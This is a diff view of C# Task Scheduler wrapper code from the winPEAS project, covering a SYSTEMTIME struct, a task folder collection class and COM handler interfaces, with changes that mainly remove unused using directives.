Second = second;
|
||||||
Milliseconds = millisecond;
|
Milliseconds = millisecond;
|
||||||
DayOfWeek = 0;
|
DayOfWeek = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static implicit operator DateTime(SYSTEMTIME st)
|
public static implicit operator DateTime(SYSTEMTIME st)
|
||||||
{
|
{
|
||||||
if (st.Year == 0 || st == MinValue)
|
if (st.Year == 0 || st == MinValue)
|
||||||
return DateTime.MinValue;
|
return DateTime.MinValue;
|
||||||
if (st == MaxValue)
|
if (st == MaxValue)
|
||||||
return DateTime.MaxValue;
|
return DateTime.MaxValue;
|
||||||
return new DateTime(st.Year, st.Month, st.Day, st.Hour, st.Minute, st.Second, st.Milliseconds, DateTimeKind.Local);
|
return new DateTime(st.Year, st.Month, st.Day, st.Hour, st.Minute, st.Second, st.Milliseconds, DateTimeKind.Local);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static implicit operator SYSTEMTIME(DateTime dt) => new SYSTEMTIME(dt);
|
public static implicit operator SYSTEMTIME(DateTime dt) => new SYSTEMTIME(dt);
|
||||||
|
|
||||||
public static bool operator ==(SYSTEMTIME s1, SYSTEMTIME s2) => (s1.Year == s2.Year && s1.Month == s2.Month && s1.Day == s2.Day && s1.Hour == s2.Hour && s1.Minute == s2.Minute && s1.Second == s2.Second && s1.Milliseconds == s2.Milliseconds);
|
public static bool operator ==(SYSTEMTIME s1, SYSTEMTIME s2) => (s1.Year == s2.Year && s1.Month == s2.Month && s1.Day == s2.Day && s1.Hour == s2.Hour && s1.Minute == s2.Minute && s1.Second == s2.Second && s1.Milliseconds == s2.Milliseconds);
|
||||||
|
|
||||||
public static bool operator !=(SYSTEMTIME s1, SYSTEMTIME s2) => !(s1 == s2);
|
public static bool operator !=(SYSTEMTIME s1, SYSTEMTIME s2) => !(s1 == s2);
|
||||||
|
|
||||||
public static readonly SYSTEMTIME MinValue, MaxValue;
|
public static readonly SYSTEMTIME MinValue, MaxValue;
|
||||||
|
|
||||||
static SYSTEMTIME()
|
static SYSTEMTIME()
|
||||||
{
|
{
|
||||||
MinValue = new SYSTEMTIME(1601, 1, 1);
|
MinValue = new SYSTEMTIME(1601, 1, 1);
|
||||||
MaxValue = new SYSTEMTIME(30827, 12, 31, 23, 59, 59, 999);
|
MaxValue = new SYSTEMTIME(30827, 12, 31, 23, 59, 59, 999);
|
||||||
}
|
}
|
||||||
|
|
||||||
public override bool Equals(object obj)
|
public override bool Equals(object obj)
|
||||||
{
|
{
|
||||||
if (obj is SYSTEMTIME)
|
if (obj is SYSTEMTIME)
|
||||||
return ((SYSTEMTIME)obj) == this;
|
return ((SYSTEMTIME)obj) == this;
|
||||||
if (obj is DateTime)
|
if (obj is DateTime)
|
||||||
return ((DateTime)this).Equals(obj);
|
return ((DateTime)this).Equals(obj);
|
||||||
return base.Equals(obj);
|
return base.Equals(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
public override int GetHashCode() => ((DateTime)this).GetHashCode();
|
public override int GetHashCode() => ((DateTime)this).GetHashCode();
|
||||||
|
|
||||||
public override string ToString() => ((DateTime)this).ToString();
|
public override string ToString() => ((DateTime)this).ToString();
|
||||||
|
|
||||||
TypeCode IConvertible.GetTypeCode() => ((IConvertible)(DateTime)this).GetTypeCode();
|
TypeCode IConvertible.GetTypeCode() => ((IConvertible)(DateTime)this).GetTypeCode();
|
||||||
|
|
||||||
bool IConvertible.ToBoolean(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToBoolean(provider);
|
bool IConvertible.ToBoolean(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToBoolean(provider);
|
||||||
|
|
||||||
byte IConvertible.ToByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToByte(provider);
|
byte IConvertible.ToByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToByte(provider);
|
||||||
|
|
||||||
char IConvertible.ToChar(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToChar(provider);
|
char IConvertible.ToChar(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToChar(provider);
|
||||||
|
|
||||||
DateTime IConvertible.ToDateTime(IFormatProvider provider) => (DateTime)this;
|
DateTime IConvertible.ToDateTime(IFormatProvider provider) => (DateTime)this;
|
||||||
|
|
||||||
decimal IConvertible.ToDecimal(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDecimal(provider);
|
decimal IConvertible.ToDecimal(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDecimal(provider);
|
||||||
|
|
||||||
double IConvertible.ToDouble(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDouble(provider);
|
double IConvertible.ToDouble(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToDouble(provider);
|
||||||
|
|
||||||
short IConvertible.ToInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt16(provider);
|
short IConvertible.ToInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt16(provider);
|
||||||
|
|
||||||
int IConvertible.ToInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt32(provider);
|
int IConvertible.ToInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt32(provider);
|
||||||
|
|
||||||
long IConvertible.ToInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt64(provider);
|
long IConvertible.ToInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToInt64(provider);
|
||||||
|
|
||||||
sbyte IConvertible.ToSByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSByte(provider);
|
sbyte IConvertible.ToSByte(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSByte(provider);
|
||||||
|
|
||||||
float IConvertible.ToSingle(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSingle(provider);
|
float IConvertible.ToSingle(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToSingle(provider);
|
||||||
|
|
||||||
string IConvertible.ToString(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToString(provider);
|
string IConvertible.ToString(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToString(provider);
|
||||||
|
|
||||||
object IConvertible.ToType(Type conversionType, IFormatProvider provider) => ((IConvertible)(DateTime)this).ToType(conversionType, provider);
|
object IConvertible.ToType(Type conversionType, IFormatProvider provider) => ((IConvertible)(DateTime)this).ToType(conversionType, provider);
|
||||||
|
|
||||||
ushort IConvertible.ToUInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt16(provider);
|
ushort IConvertible.ToUInt16(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt16(provider);
|
||||||
|
|
||||||
uint IConvertible.ToUInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt32(provider);
|
uint IConvertible.ToUInt32(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt32(provider);
|
||||||
|
|
||||||
ulong IConvertible.ToUInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt64(provider);
|
ulong IConvertible.ToUInt64(IFormatProvider provider) => ((IConvertible)(DateTime)this).ToUInt64(provider);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -2,173 +2,170 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Collections.Specialized;
|
using System.Collections.Specialized;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.CompilerServices;
|
using System.Runtime.CompilerServices;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
using winPEAS.TaskScheduler.TaskEditor.Native;
|
||||||
using winPEAS.TaskScheduler.V2;
|
using winPEAS.TaskScheduler.V2;
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>Provides information and control for a collection of folders that contain tasks.</summary>
|
/// <summary>Provides information and control for a collection of folders that contain tasks.</summary>
|
||||||
public sealed class TaskFolderCollection : ICollection<TaskFolder>, IDisposable, INotifyCollectionChanged, INotifyPropertyChanged
|
public sealed class TaskFolderCollection : ICollection<TaskFolder>, IDisposable, INotifyCollectionChanged, INotifyPropertyChanged
|
||||||
{
|
{
|
||||||
private const string IndexerName = "Item[]";
|
private const string IndexerName = "Item[]";
|
||||||
private readonly TaskFolder parent;
|
private readonly TaskFolder parent;
|
||||||
private readonly TaskFolder[] v1FolderList;
|
private readonly TaskFolder[] v1FolderList;
|
||||||
private readonly ITaskFolderCollection v2FolderList;
|
private readonly ITaskFolderCollection v2FolderList;
|
||||||
|
|
||||||
internal TaskFolderCollection() => v1FolderList = new TaskFolder[0];
|
internal TaskFolderCollection() => v1FolderList = new TaskFolder[0];
|
||||||
|
|
||||||
internal TaskFolderCollection([NotNull] TaskFolder folder, [NotNull] ITaskFolderCollection iCollection)
|
internal TaskFolderCollection([NotNull] TaskFolder folder, [NotNull] ITaskFolderCollection iCollection)
|
||||||
{
|
{
|
||||||
parent = folder;
|
parent = folder;
|
||||||
v2FolderList = iCollection;
|
v2FolderList = iCollection;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Occurs when a collection changes.</summary>
|
/// <summary>Occurs when a collection changes.</summary>
|
||||||
public event NotifyCollectionChangedEventHandler CollectionChanged;
|
public event NotifyCollectionChangedEventHandler CollectionChanged;
|
||||||
|
|
||||||
/// <summary>Occurs when a property value changes.</summary>
|
/// <summary>Occurs when a property value changes.</summary>
|
||||||
public event PropertyChangedEventHandler PropertyChanged;
|
public event PropertyChangedEventHandler PropertyChanged;
|
||||||
|
|
||||||
/// <summary>Gets the number of items in the collection.</summary>
|
/// <summary>Gets the number of items in the collection.</summary>
|
||||||
public int Count => v2FolderList?.Count ?? v1FolderList.Length;
|
public int Count => v2FolderList?.Count ?? v1FolderList.Length;
|
||||||
|
|
||||||
/// <summary>Gets a value indicating whether the <see cref="ICollection{T}"/> is read-only.</summary>
|
/// <summary>Gets a value indicating whether the <see cref="ICollection{T}"/> is read-only.</summary>
|
||||||
bool ICollection<TaskFolder>.IsReadOnly => false;
|
bool ICollection<TaskFolder>.IsReadOnly => false;
|
||||||
|
|
||||||
/// <summary>Gets the specified folder from the collection.</summary>
|
/// <summary>Gets the specified folder from the collection.</summary>
|
||||||
/// <param name="index">The index of the folder to be retrieved.</param>
|
/// <param name="index">The index of the folder to be retrieved.</param>
|
||||||
/// <returns>A TaskFolder instance that represents the requested folder.</returns>
|
/// <returns>A TaskFolder instance that represents the requested folder.</returns>
|
||||||
public TaskFolder this[int index]
|
public TaskFolder this[int index]
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
return new TaskFolder(parent.TaskService, v2FolderList[++index]);
|
return new TaskFolder(parent.TaskService, v2FolderList[++index]);
|
||||||
return v1FolderList[index];
|
return v1FolderList[index];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets the specified folder from the collection.</summary>
|
/// <summary>Gets the specified folder from the collection.</summary>
|
||||||
/// <param name="path">The path of the folder to be retrieved.</param>
|
/// <param name="path">The path of the folder to be retrieved.</param>
|
||||||
/// <returns>A TaskFolder instance that represents the requested folder.</returns>
|
/// <returns>A TaskFolder instance that represents the requested folder.</returns>
|
||||||
public TaskFolder this[[NotNull] string path]
|
public TaskFolder this[[NotNull] string path]
|
||||||
{
|
{
|
||||||
get
|
get
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
return parent.GetFolder(path);
|
return parent.GetFolder(path);
|
||||||
if (v1FolderList != null && v1FolderList.Length > 0 && (path == string.Empty || path == "\\"))
|
if (v1FolderList != null && v1FolderList.Length > 0 && (path == string.Empty || path == "\\"))
|
||||||
return v1FolderList[0];
|
return v1FolderList[0];
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
throw new ArgumentException(@"Path not found", nameof(path));
|
throw new ArgumentException(@"Path not found", nameof(path));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Adds an item to the <see cref="ICollection{T}"/>.</summary>
|
/// <summary>Adds an item to the <see cref="ICollection{T}"/>.</summary>
|
||||||
/// <param name="item">The object to add to the <see cref="ICollection{T}"/>.</param>
|
/// <param name="item">The object to add to the <see cref="ICollection{T}"/>.</param>
|
||||||
/// <exception cref="System.NotImplementedException">
|
/// <exception cref="System.NotImplementedException">
|
||||||
/// This action is technically unfeasible due to limitations of the underlying library. Use the <see
|
/// This action is technically unfeasible due to limitations of the underlying library. Use the <see
|
||||||
/// cref="TaskFolder.CreateFolder(string, string, bool)"/> instead.
|
/// cref="TaskFolder.CreateFolder(string, string, bool)"/> instead.
|
||||||
/// </exception>
|
/// </exception>
|
||||||
public void Add([NotNull] TaskFolder item) => throw new NotImplementedException();
|
public void Add([NotNull] TaskFolder item) => throw new NotImplementedException();
|
||||||
|
|
||||||
/// <summary>Removes all items from the <see cref="ICollection{T}"/>.</summary>
|
/// <summary>Removes all items from the <see cref="ICollection{T}"/>.</summary>
|
||||||
public void Clear()
|
public void Clear()
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
{
|
{
|
||||||
for (var i = v2FolderList.Count; i > 0; i--)
|
for (var i = v2FolderList.Count; i > 0; i--)
|
||||||
parent.DeleteFolder(v2FolderList[i].Name, false);
|
parent.DeleteFolder(v2FolderList[i].Name, false);
|
||||||
OnNotifyPropertyChanged(nameof(Count));
|
OnNotifyPropertyChanged(nameof(Count));
|
||||||
OnNotifyPropertyChanged(IndexerName);
|
OnNotifyPropertyChanged(IndexerName);
|
||||||
CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));
|
CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Determines whether the <see cref="ICollection{T}"/> contains a specific value.</summary>
|
/// <summary>Determines whether the <see cref="ICollection{T}"/> contains a specific value.</summary>
|
||||||
/// <param name="item">The object to locate in the <see cref="ICollection{T}"/>.</param>
|
/// <param name="item">The object to locate in the <see cref="ICollection{T}"/>.</param>
|
||||||
/// <returns>true if <paramref name="item"/> is found in the <see cref="ICollection{T}"/>; otherwise, false.</returns>
|
/// <returns>true if <paramref name="item"/> is found in the <see cref="ICollection{T}"/>; otherwise, false.</returns>
|
||||||
public bool Contains([NotNull] TaskFolder item)
|
public bool Contains([NotNull] TaskFolder item)
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
{
|
{
|
||||||
for (var i = v2FolderList.Count; i > 0; i--)
|
for (var i = v2FolderList.Count; i > 0; i--)
|
||||||
if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))
|
if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
return item.Path == "\\";
|
return item.Path == "\\";
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Copies the elements of the ICollection to an Array, starting at a particular Array index.</summary>
|
/// <summary>Copies the elements of the ICollection to an Array, starting at a particular Array index.</summary>
|
||||||
/// <param name="array">
|
/// <param name="array">
|
||||||
/// The one-dimensional Array that is the destination of the elements copied from <see cref="ICollection{T}"/>. The Array must have
|
/// The one-dimensional Array that is the destination of the elements copied from <see cref="ICollection{T}"/>. The Array must have
|
||||||
/// zero-based indexing.
|
/// zero-based indexing.
|
||||||
/// </param>
|
/// </param>
|
||||||
/// <param name="arrayIndex">The zero-based index in array at which copying begins.</param>
|
/// <param name="arrayIndex">The zero-based index in array at which copying begins.</param>
|
||||||
public void CopyTo(TaskFolder[] array, int arrayIndex)
|
public void CopyTo(TaskFolder[] array, int arrayIndex)
|
||||||
{
|
{
|
||||||
if (arrayIndex < 0) throw new ArgumentOutOfRangeException(nameof(arrayIndex));
|
if (arrayIndex < 0) throw new ArgumentOutOfRangeException(nameof(arrayIndex));
|
||||||
if (array == null) throw new ArgumentNullException(nameof(array));
|
if (array == null) throw new ArgumentNullException(nameof(array));
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
{
|
{
|
||||||
if (arrayIndex + Count > array.Length)
|
if (arrayIndex + Count > array.Length)
|
||||||
throw new ArgumentException();
|
throw new ArgumentException();
|
||||||
foreach (var f in this)
|
foreach (var f in this)
|
||||||
array[arrayIndex++] = f;
|
array[arrayIndex++] = f;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
if (arrayIndex + v1FolderList.Length > array.Length)
|
if (arrayIndex + v1FolderList.Length > array.Length)
|
||||||
throw new ArgumentException();
|
throw new ArgumentException();
|
||||||
v1FolderList.CopyTo(array, arrayIndex);
|
v1FolderList.CopyTo(array, arrayIndex);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Releases all resources used by this class.</summary>
|
/// <summary>Releases all resources used by this class.</summary>
|
||||||
public void Dispose()
|
public void Dispose()
|
||||||
{
|
{
|
||||||
if (v1FolderList != null && v1FolderList.Length > 0)
|
if (v1FolderList != null && v1FolderList.Length > 0)
|
||||||
{
|
{
|
||||||
v1FolderList[0].Dispose();
|
v1FolderList[0].Dispose();
|
||||||
v1FolderList[0] = null;
|
v1FolderList[0] = null;
|
||||||
}
|
}
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
System.Runtime.InteropServices.Marshal.ReleaseComObject(v2FolderList);
|
System.Runtime.InteropServices.Marshal.ReleaseComObject(v2FolderList);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Determines whether the specified folder exists.</summary>
|
/// <summary>Determines whether the specified folder exists.</summary>
|
||||||
/// <param name="path">The path of the folder.</param>
|
/// <param name="path">The path of the folder.</param>
|
||||||
/// <returns>true if folder exists; otherwise, false.</returns>
|
/// <returns>true if folder exists; otherwise, false.</returns>
|
||||||
public bool Exists([NotNull] string path)
|
public bool Exists([NotNull] string path)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
parent.GetFolder(path);
|
parent.GetFolder(path);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets a list of items in a collection.</summary>
|
/// <summary>Gets a list of items in a collection.</summary>
|
||||||
/// <returns>Enumerated list of items in the collection.</returns>
|
/// <returns>Enumerated list of items in the collection.</returns>
|
||||||
public IEnumerator<TaskFolder> GetEnumerator()
|
public IEnumerator<TaskFolder> GetEnumerator()
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
return new ComEnumerator<TaskFolder, ITaskFolder>(() => v2FolderList.Count, (object o) => v2FolderList[o], o => new TaskFolder(parent.TaskService, o));
|
return new ComEnumerator<TaskFolder, ITaskFolder>(() => v2FolderList.Count, (object o) => v2FolderList[o], o => new TaskFolder(parent.TaskService, o));
|
||||||
return Array.AsReadOnly(v1FolderList).GetEnumerator();
|
return Array.AsReadOnly(v1FolderList).GetEnumerator();
|
||||||
}
|
}
|
||||||
|
|
||||||
/*
|
/*
|
||||||
/// <summary>Returns the index of the TaskFolder within the collection.</summary>
|
/// <summary>Returns the index of the TaskFolder within the collection.</summary>
|
||||||
/// <param name="item">TaskFolder to find.</param>
|
/// <param name="item">TaskFolder to find.</param>
|
||||||
/// <returns>Index of the TaskFolder; -1 if not found.</returns>
|
/// <returns>Index of the TaskFolder; -1 if not found.</returns>
|
||||||
@@ -196,42 +193,42 @@ namespace winPEAS.TaskScheduler
|
|||||||
}
|
}
|
||||||
*/
|
*/
|
||||||
|
|
||||||
/// <summary>Removes the first occurrence of a specific object from the <see cref="ICollection{T}"/>.</summary>
|
/// <summary>Removes the first occurrence of a specific object from the <see cref="ICollection{T}"/>.</summary>
|
||||||
/// <param name="item">The object to remove from the <see cref="ICollection{T}"/>.</param>
|
/// <param name="item">The object to remove from the <see cref="ICollection{T}"/>.</param>
|
||||||
/// <returns>
|
/// <returns>
|
||||||
/// true if <paramref name="item"/> was successfully removed from the <see cref="ICollection{T}"/>; otherwise, false. This method
|
/// true if <paramref name="item"/> was successfully removed from the <see cref="ICollection{T}"/>; otherwise, false. This method
|
||||||
/// also returns false if <paramref name="item"/> is not found in the original <see cref="ICollection{T}"/>.
|
/// also returns false if <paramref name="item"/> is not found in the original <see cref="ICollection{T}"/>.
|
||||||
/// </returns>
|
/// </returns>
|
||||||
public bool Remove([NotNull] TaskFolder item)
|
public bool Remove([NotNull] TaskFolder item)
|
||||||
{
|
{
|
||||||
if (v2FolderList != null)
|
if (v2FolderList != null)
|
||||||
{
|
{
|
||||||
for (var i = v2FolderList.Count; i > 0; i--)
|
for (var i = v2FolderList.Count; i > 0; i--)
|
||||||
{
|
{
|
||||||
if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))
|
if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
parent.DeleteFolder(v2FolderList[i].Name);
|
parent.DeleteFolder(v2FolderList[i].Name);
|
||||||
OnNotifyPropertyChanged(nameof(Count));
|
OnNotifyPropertyChanged(nameof(Count));
|
||||||
OnNotifyPropertyChanged(IndexerName);
|
OnNotifyPropertyChanged(IndexerName);
|
||||||
CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, i));
|
CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, i));
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
|
||||||
|
|
||||||
/// <summary>Called when a property has changed to notify any attached elements.</summary>
|
/// <summary>Called when a property has changed to notify any attached elements.</summary>
|
||||||
/// <param name="propertyName">Name of the property.</param>
|
/// <param name="propertyName">Name of the property.</param>
|
||||||
private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
|
private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,58 +1,54 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Defines the methods that are called by the Task Scheduler service to manage a COM handler.
|
/// Defines the methods that are called by the Task Scheduler service to manage a COM handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <remarks>
|
/// <remarks>
|
||||||
/// This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the <see cref="ComHandlerAction"/> class.
|
/// This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the <see cref="ComHandlerAction"/> class.
|
||||||
/// </remarks>
|
/// </remarks>
|
||||||
[ComImport, Guid("839D7762-5121-4009-9234-4F0D19394F04"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]
|
[ComImport, Guid("839D7762-5121-4009-9234-4F0D19394F04"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]
|
||||||
public interface ITaskHandler
|
public interface ITaskHandler
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Called to start the COM handler. This method must be implemented by the handler.
|
/// Called to start the COM handler. This method must be implemented by the handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="pHandlerServices">An <c>IUnkown</c> interface that is used to communicate back with the Task Scheduler.</param>
|
/// <param name="pHandlerServices">An <c>IUnkown</c> interface that is used to communicate back with the Task Scheduler.</param>
|
||||||
/// <param name="data">The arguments that are required by the handler. These arguments are defined in the <see cref="ComHandlerAction.Data"/> property of the COM handler action.</param>
|
/// <param name="data">The arguments that are required by the handler. These arguments are defined in the <see cref="ComHandlerAction.Data"/> property of the COM handler action.</param>
|
||||||
void Start([In, MarshalAs(UnmanagedType.IUnknown)] object pHandlerServices, [In, MarshalAs(UnmanagedType.BStr)] string data);
|
void Start([In, MarshalAs(UnmanagedType.IUnknown)] object pHandlerServices, [In, MarshalAs(UnmanagedType.BStr)] string data);
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Called to stop the COM handler. This method must be implemented by the handler.
|
/// Called to stop the COM handler. This method must be implemented by the handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="pRetCode">The return code that the Task Schedule will raise as an event when the COM handler action is completed.</param>
|
/// <param name="pRetCode">The return code that the Task Schedule will raise as an event when the COM handler action is completed.</param>
|
||||||
void Stop([MarshalAs(UnmanagedType.Error)] out int pRetCode);
|
void Stop([MarshalAs(UnmanagedType.Error)] out int pRetCode);
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler.
|
/// Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
void Pause();
|
void Pause();
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler.
|
/// Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
void Resume();
|
void Resume();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler.
|
/// Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[ComImport, Guid("EAEC7A8F-27A0-4DDC-8675-14726A01A38A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]
|
[ComImport, Guid("EAEC7A8F-27A0-4DDC-8675-14726A01A38A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]
|
||||||
public interface ITaskHandlerStatus
|
public interface ITaskHandlerStatus
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Tells the Task Scheduler about the percentage of completion of the COM handler.
|
/// Tells the Task Scheduler about the percentage of completion of the COM handler.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="percentComplete">A value that indicates the percentage of completion for the COM handler.</param>
|
/// <param name="percentComplete">A value that indicates the percentage of completion for the COM handler.</param>
|
||||||
/// <param name="statusMessage">The message that is displayed in the Task Scheduler UI.</param>
|
/// <param name="statusMessage">The message that is displayed in the Task Scheduler UI.</param>
|
||||||
void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage);
|
void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage);
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Tells the Task Scheduler that the COM handler is completed.
|
/// Tells the Task Scheduler that the COM handler is completed.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="taskErrCode">The error code that the Task Scheduler will raise as an event.</param>
|
/// <param name="taskErrCode">The error code that the Task Scheduler will raise as an event.</param>
|
||||||
void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode);
|
void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user